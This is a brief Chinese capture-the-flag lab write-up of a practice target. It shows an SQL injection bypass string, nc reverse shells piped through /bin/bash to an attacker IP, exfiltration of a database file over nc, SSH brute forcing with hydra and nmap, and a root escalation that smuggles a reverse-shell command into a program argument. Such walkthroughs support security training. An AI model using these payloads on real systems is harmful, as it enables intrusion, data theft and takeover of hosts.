【安全牛】一起来打靶第二周
- 扫描主机开放端口、扫描主机开放端口的服务
可知8080端口开放http服务,而且是用werkzeug框架 - 打开8080端口
是一个邀请码验证界面,通过测试发现存在sql注入漏洞。 - 通过sql注入,进入下一个界面。
1” or 1=1 --+
是一个命令执行漏洞,用管道符连接 - 使用nc命令反弹
nc -e 10.106.0.20 5555 失败,因为一些版本不支持-e参数
于是,
nc 10.106.0.20 4444 | /bin/bash | nc 10.106.0.20 5555
连接成功! - 查看database.sql文件,需要下载到kali查看。
nc传输
kali:nc -nvlp 6666 > db.sql 传输到db.sql中
靶机: nc 10.106.0.20 6666 < database.sql
查看db.sql文件
sqlite3 进入软件
.open db.sql 没报错就成功打开了db.sql文件
.database 进入数据库
.dump 打印数据
ctrl+z 退出
可以看到有很多条“password”,猜测是目标主机密码,于是进行ssh爆破。 - ssh爆破
收集上面的密码,成为“pwd.txt”字典
寻找/etc/passwd 文件中 有开放ssh的用户
cat /etc/passwd | grep /bin/bash
查询的结果放入user.txt中
进行爆破:
hydra -L user.txt -P pwd.txt ssh:10.106.0.127
nmap爆破
nmap -p 22 --script=ssh-brute --script-args userdb=user.txt,passdb=pwd.txt 10.106.0.127
没有爆破出结果。
换个思路。 - 查看文件,有两个文件,updata_cloudav.c 具有写的权限。updata_cloudav具有root权限。
于是用来提权。
经过分析,发现updata_cloudav需要一个参数,于是可以:
./update_cloudav “a | nc 10.106.0.20 7777 | /bin/bash | nc 10.106.0.20 8888”
成功提权!
结束!